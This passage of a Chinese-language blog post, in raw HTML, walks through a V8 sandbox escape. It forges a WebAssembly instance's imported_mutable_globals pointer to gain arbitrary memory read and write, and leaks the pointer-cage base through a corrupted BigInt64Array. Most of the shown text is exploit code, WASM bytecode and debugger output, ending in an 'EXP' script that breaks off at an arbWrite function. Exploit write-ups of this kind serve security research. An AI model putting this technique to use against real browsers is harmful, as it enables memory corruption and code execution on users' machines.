class="line">0x3b17081d2f8c:0x0000560e9be537700x0000560e9bddc620</span><br><span class="line">0x3b17081d2f9c:0x0000246bb5adb0000x0000560e9bde8a48</span><br><span class="line">0x3b17081d2fac:0x0000560e9bde8a400x0000560e9bde8a60</span><br><span class="line">0x3b17081d2fbc:0x0000560e9bde8a580x0000560e9bddc630</span><br><span class="line">0x3b17081d2fcc:0x0000560e9be537900x0000560e9be537b0</span><br></pre></td></tr></table></figure><h3 id="使用全局变量"><a href="#使用全局变量" class="headerlink" title="使用全局变量"></a>使用全局变量</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);</span><br><span class="line">var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);</span><br><span class="line">var wasm_mod = new WebAssembly.Module(wasm_code);</span><br><span class="line">var wasm_instance = new WebAssembly.Instance(wasm_mod, {js: {global}});</span><br></pre></td></tr></table></figure><p>以上可以往 <code>imported_mutable_globals</code> 里添加一个 int64 的全局变量 。</p><p>注意<code>global</code> 这个变量是在当前堆上分配的,利用漏洞是可以修改这个对象的属性。</p><p>DebugPrint 一下这个 <code>global</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">DebugPrint: 0xc7908048d0d: [WasmGlobalObject]</span><br><span class="line"> - map: 0x0c7908206821 <Map(HOLEY_ELEMENTS)></span><br><span class="line"> - untagged_buffer: 0x0c7908048d31 <ArrayBuffer map = 0xc7908203289></span><br><span class="line"> - offset: 0</span><br><span class="line"> - raw_type: 2</span><br><span class="line"> - is_mutable: 1</span><br><span class="line"> - type: i64</span><br><span class="line"> - is_mutable: 1</span><br></pre></td></tr></table></figure><p><code>untagged_buffer</code> 是一个 ArrayBuffer,<code>backing_store</code> 是 <code>0x3b1800002000</code> ,也就是 <code>global</code> 存储数据的地址。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">gef➤ job 0x3b1708048d31</span><br><span class="line">0x3b1708048d31: [JSArrayBuffer]</span><br><span class="line"> - map: 0x3b1708203289 <Map(HOLEY_ELEMENTS)> [FastProperties]</span><br><span class="line"> - prototype: 0x3b17081c99e9 <Object map = 0x3b17082032b1></span><br><span class="line"> - elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]</span><br><span class="line"> - embedder fields: 2</span><br><span class="line"> - backing_store: 0x3b1800002000</span><br><span class="line"> - byte_length: 8</span><br><span class="line"> - max_byte_length: 8</span><br><span class="line"> - detachable</span><br><span class="line"> - properties: 0x3b1708002249 <FixedArray[0]></span><br><span class="line"> - All own properties (excluding elements): {}</span><br><span class="line"> - embedder fields = {</span><br><span class="line"> 0, aligned pointer: (nil)</span><br><span class="line"> 0, aligned pointer: (nil)</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>回过头看上面 <code>wasm_instance</code> 的 <code>imported_mutable_globals</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace</span><br><span class="line"> - map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]</span><br><span class="line"> - prototype: 0x3b1708046975 <Object map = 0x3b1708206c81></span><br><span class="line"> - elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]</span><br><span class="line"> - module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1></span><br><span class="line"> - exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21></span><br><span class="line"> - native_context: 0x3b17081c2c75 <NativeContext[266]></span><br><span class="line"> - imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]></span><br><span class="line"> - imported_function_refs: 0x3b1708002249 <FixedArray[0]></span><br><span class="line"> - indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]></span><br><span class="line"> - managed_native_allocations: 0x3b1708048e61 <Foreign></span><br><span class="line"> - managed object maps: 0x3b1708002249 <FixedArray[0]></span><br><span class="line"> - feedback vectors: 0x3b1708002249 <FixedArray[0]></span><br><span class="line"> - memory_start: (nil)</span><br><span class="line"> - memory_size: 0</span><br><span class="line"> - imported_function_targets: 0x560e9be53750</span><br><span class="line"> - globals_start: (nil)</span><br><span class="line"> - imported_mutable_globals: 0x560e9be53770</span><br><span class="line"> - ...</span><br></pre></td></tr></table></figure><p>这里的第一个元素即是 <code>global</code> 的 <code>backing_store</code> 地址</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">gef➤ x/10xg 0x560e9be53770</span><br><span class="line">0x560e9be53770:0x00003b18000020000x00007fcdcb1bdca0</span><br><span class="line">0x560e9be53780:0x00000000000000000x0000000000000021</span><br><span class="line">0x560e9be53790:0x00007fcdcb1bdca00x00007fcdcb1bdca0</span><br><span class="line">0x560e9be537a0:0x00000000000000000x0000000000000021</span><br><span class="line">0x560e9be537b0:0x00007fcdcb1bdca00x00007fcdcb1bdca0</span><br></pre></td></tr></table></figure><p>我们伪造一个 <code>imported_mutable_globals</code> 替换掉 <code>wasm_instance</code> 的 <code>imported_mutable_globals</code> ,即可做到任意地址读写。</p><h3 id="伪造-imported-mutable-globals"><a href="#伪造-imported-mutable-globals" class="headerlink" title="伪造 imported_mutable_globals"></a>伪造 imported_mutable_globals</h3><p> <code>imported_mutable_globals</code> 并不是一个 JS 对象,不用泄漏 map ,伪造起来比较容易。</p><p>创建一个 <code>array</code> ,第一个元素是要读写的任意地址。</p><p>再泄漏这个 <code>array</code> 的偏移及基址 <code>js_base</code> 计算得到完整的 <code>array</code> 地址,覆盖掉用来的 <code>imported_mutable_globals</code> 。</p><p>泄漏 <code>array</code> 的偏移按常规的路子来就行,泄漏 <code>js_base</code> 见下一节。</p><p>一切搞好后,要读写任意地址,改 <code>array[0]</code> 即可。</p><h3 id="获取基址-js-base"><a href="#获取基址-js-base" class="headerlink" title="获取基址 js_base"></a>获取基址 js_base</h3><p>泄漏基址 <code>js_base</code> 并不难,多次运行 d8 ,搜索下基址:</p><p>第一次</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gef➤ search-pattern 0x1c53</span><br><span class="line">[+] Searching '\x53\x1c' in memory</span><br><span class="line">[+] In (0x1c5300000000-0x1c5300003000), permission=rw-</span><br><span class="line"> 0x1c530000001c - 0x1c5300000024 → "\x53\x1c[...]" </span><br><span class="line"> 0x1c5300000024 - 0x1c530000002c → "\x53\x1c[...]" </span><br><span class="line"> 0x1c5300000054 - 0x1c530000005c → "\x53\x1c[...]" </span><br><span class="line"> 0x1c53000000f4 - 0x1c53000000fc → "\x53\x1c[...]"</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>第二次</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gef➤ search-pattern 0x00002c3b</span><br><span class="line">[+] Searching '\x3b\x2c\x00\x00' in memory</span><br><span class="line">[+] In (0x2c3b00000000-0x2c3b00003000), permission=rw-</span><br><span class="line"> 0x2c3b0000001c - 0x2c3b0000001e → ";," </span><br><span class="line"> 0x2c3b00000024 - 0x2c3b00000026 → ";," </span><br><span class="line"> 0x2c3b00000054 - 0x2c3b00000056 → ";," </span><br><span class="line"> 0x2c3b000000f4 - 0x2c3b000000f6 → ";,"</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>第三次</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gef➤ search-pattern 0x3f13</span><br><span class="line">[+] Searching '\x13\x3f' in memory</span><br><span class="line">[+] In (0x3f1300000000-0x3f1300003000), permission=rw-</span><br><span class="line"> 0x3f130000001c - 0x3f1300000024 → "\x13\x3f[...]" </span><br><span class="line"> 0x3f1300000024 - 0x3f130000002c → "\x13\x3f[...]" </span><br><span class="line"> 0x3f1300000054 - 0x3f130000005c → "\x13\x3f[...]" </span><br><span class="line"> 0x3f13000000f4 - 0x3f13000000fc → "\x13\x3f[...]"</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>可以看到,在 <code>[js_base , js_base+0x3000]</code> 的区间就有一些64位的原始指针,如果能读到,就可以泄漏出基址。</p><p>具体的方法,构造一个 <code>BigInt64Array</code> 修改 <code>external_pointer</code> ,以及 <code>byte_length</code> ,让 <code>BigInt64Array</code> 能从 <code>js_base</code> 开始访问。</p><p>这里由于沙箱,<code>data_ptr</code> 的计算方式改为 <code>js_base + base_pointer + (external_pointer << 2)</code> ,需要注意 <code>external_pointer</code> 变为了偏移,如下图的 <code>0x1000000</code> 。 </p><p><img src="/2022/02/27/v8-sandbox-escape/Untitled%2013.png" alt="Untitled"></p><p>修改 <code>external_pointer</code> 和 <code>base_pointer</code> 为 <code>0</code> ,<code>BigIng64Array</code> 就会从 <code>js_base</code> 开始访问了。</p><h3 id="修改全局变量"><a href="#修改全局变量" class="headerlink" title="修改全局变量"></a>修改全局变量</h3><p>参考 mdm 提供的 demo <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat" target="_blank" rel="noopener">https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat</a> ,添加修改 global 变量的函数。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">(module</span><br><span class="line"> (global $g (import "js" "global") (mut i64))</span><br><span class="line"> (func (export "getGlobal") (result i64)</span><br><span class="line"> (global.get $g))</span><br><span class="line"> (func (export "setGlobal") (param i64)</span><br><span class="line"> (global.set $g</span><br><span class="line"> (get_local 0)))</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>用 wat2wasm <a href="https://webassembly.github.io/wabt/demo/wat2wasm/" target="_blank" rel="noopener">https://webassembly.github.io/wabt/demo/wat2wasm/</a> 编译后,提取二进制格式的输出。</p><p>现在可以使用 WASM 修改全局变量了:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])</span><br><span class="line">var wasm_mod = new WebAssembly.Module(wasm_code); </span><br><span class="line"></span><br><span class="line">const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);</span><br><span class="line">var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}}); </span><br><span class="line"></span><br><span class="line">var getGlobal= wasm_instance.exports.getGlobal;</span><br><span class="line">var setGlobal= wasm_instance.exports.setGlobal;</span><br><span class="line"></span><br><span class="line">setGlobal(0x10000n);</span><br><span class="line">console.log(getGlobal()); // 65535</span><br></pre></td></tr></table></figure><h3 id="EXP-1"><a href="#EXP-1" class="headerlink" title="EXP"></a>EXP</h3><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">dp</span>(<span class="params">x</span>) </span>{} </span><br><span class="line"><span class="comment">// function dp(x) {%DebugPrint(x);} // const print = console.log;</span></span><br><span class="line"><span class="keyword">const</span> print = <span class="function">(<span class="params">x</span>) =></span>{<span class="built_in">console</span>.log(x)};</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Helpers</span> </span>{</span><br><span class="line"> <span class="keyword">constructor</span>() {</span><br><span class="line"> <span class="keyword">this</span>.cvt_buf = <span class="keyword">new</span> <span class="built_in">ArrayBuffer</span>(<span class="number">8</span>);</span><br><span class="line"> <span class="keyword">this</span>.cvt_f64a = <span class="keyword">new</span> <span class="built_in">Float64Array</span>(<span class="keyword">this</span>.cvt_buf);</span><br><span class="line"> <span class="keyword">this</span>.cvt_u64a = <span class="keyword">new</span> BigUint64Array(<span class="keyword">this</span>.cvt_buf);</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a = <span class="keyword">new</span> <span class="built_in">Uint32Array</span>(<span class="keyword">this</span>.cvt_buf);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ftoi(f) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> itof(i) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ftoil(f) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ftoih(f) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> fsetil(f, l) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> fsetih(f, h) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>] = f;</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> isetltof(i, l) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> isethtof(i, h) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> isetlhtof(l,h){</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_f64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> isetltoi(i,l){</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> isethtoi(i,h){</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> isetlhtoi(l,h){</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>] = l;</span><br><span class="line"> <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>] = h;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> igetl(i) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u32a[<span class="number">0</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> igeth(i) {</span><br><span class="line"> <span class="keyword">this</span>.cvt_u64a[<span class="number">0</span>] = i;</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.cvt_u32a[<span class="number">1</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> gc() {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i < <span class="number">100</span>; i++) {</span><br><span class="line"> <span class="keyword">new</span> <span class="built_in">ArrayBuffer</span>(<span class="number">0x1000000</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> printhex(s, val) {</span><br><span class="line"> <span class="comment">//%DebugPrint(s + " 0x" + val.toString(16));</span></span><br><span class="line"> <span class="built_in">console</span>.log(s + <span class="string">" 0x"</span> + val.toString(<span class="number">16</span>));</span><br><span class="line"> <span class="comment">//document.write(s +' ' + val.toString(16) + " </br>");</span></span><br><span class="line"> <span class="comment">//alert(s + " 0x" + val.toString(16));</span></span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> helper = <span class="keyword">new</span> Helpers();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> oob_arr = [<span class="number">1.1</span>, <span class="number">2.2</span>, <span class="number">3.3</span>];</span><br><span class="line"><span class="keyword">var</span> buf = <span class="keyword">new</span> <span class="built_in">ArrayBuffer</span>(<span class="number">0x100</span>);</span><br><span class="line"><span class="keyword">var</span> i64arr= <span class="keyword">new</span> BigUint64Array(buf);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fake_imported_mutable_globals_arr = [<span class="number">0x1337133713371337</span>];</span><br><span class="line"><span class="keyword">var</span> leaker = { <span class="string">'x'</span>:fake_imported_mutable_globals_arr};</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasm_code = <span class="keyword">new</span> <span class="built_in">Uint8Array</span>([<span class="number">0x00</span>,<span class="number">0x61</span>,<span class="number">0x73</span>,<span class="number">0x6d</span>,<span class="number">0x01</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x09</span>,<span class="number">0x02</span>,<span class="number">0x60</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x7e</span>,<span class="number">0x60</span>,<span class="number">0x01</span>,<span class="number">0x7e</span>,<span class="number">0x00</span>,<span class="number">0x02</span>,<span class="number">0x0e</span>,<span class="number">0x01</span>,<span class="number">0x02</span>,<span class="number">0x6a</span>,<span class="number">0x73</span>,<span class="number">0x06</span>,<span class="number">0x67</span>,<span class="number">0x6c</span>,<span class="number">0x6f</span>,<span class="number">0x62</span>,<span class="number">0x61</span>,<span class="number">0x6c</span>,<span class="number">0x03</span>,<span class="number">0x7e</span>,<span class="number">0x01</span>,<span class="number">0x03</span>,<span class="number">0x03</span>,<span class="number">0x02</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x07</span>,<span class="number">0x19</span>,<span class="number">0x02</span>,<span class="number">0x09</span>,<span class="number">0x67</span>,<span class="number">0x65</span>,<span class="number">0x74</span>,<span class="number">0x47</span>,<span class="number">0x6c</span>,<span class="number">0x6f</span>,<span class="number">0x62</span>,<span class="number">0x61</span>,<span class="number">0x6c</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x09</span>,<span class="number">0x73</span>,<span class="number">0x65</span>,<span class="number">0x74</span>,<span class="number">0x47</span>,<span class="number">0x6c</span>,<span class="number">0x6f</span>,<span class="number">0x62</span>,<span class="number">0x61</span>,<span class="number">0x6c</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x0a</span>,<span class="number">0x0d</span>,<span class="number">0x02</span>,<span class="number">0x04</span>,<span class="number">0x00</span>,<span class="number">0x23</span>,<span class="number">0x00</span>,<span class="number">0x0b</span>,<span class="number">0x06</span>,<span class="number">0x00</span>,<span class="number">0x20</span>,<span class="number">0x00</span>,<span class="number">0x24</span>,<span class="number">0x00</span>,<span class="number">0x0b</span>,<span class="number">0x00</span>,<span class="number">0x14</span>,<span class="number">0x04</span>,<span class="number">0x6e</span>,<span class="number">0x61</span>,<span class="number">0x6d</span>,<span class="number">0x65</span>,<span class="number">0x02</span>,<span class="number">0x07</span>,<span class="number">0x02</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x01</span>,<span class="number">0x00</span>,<span class="number">0x00</span>,<span class="number">0x07</span>,<span class="number">0x04</span>,<span class="number">0x01</span>,<span class="number">0x00</span>,<span class="number">0x01</span>,<span class="number">0x67</span>])</span><br><span class="line"><span class="keyword">var</span> wasm_mod = <span class="keyword">new</span> WebAssembly.Module(wasm_code); </span><br><span class="line"><span class="keyword">const</span> global = <span class="keyword">new</span> WebAssembly.Global({<span class="attr">value</span>:<span class="string">'i64'</span>, <span class="attr">mutable</span>:<span class="literal">true</span>}, <span class="number">0</span>n);</span><br><span class="line"><span class="keyword">var</span> wasm_instance = <span class="keyword">new</span> WebAssembly.Instance(wasm_mod, {<span class="attr">js</span>:{global}}); </span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> getGlobal= wasm_instance.exports.getGlobal;</span><br><span class="line"><span class="keyword">var</span> setGlobal= wasm_instance.exports.setGlobal;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">arbWrite</span>(<span 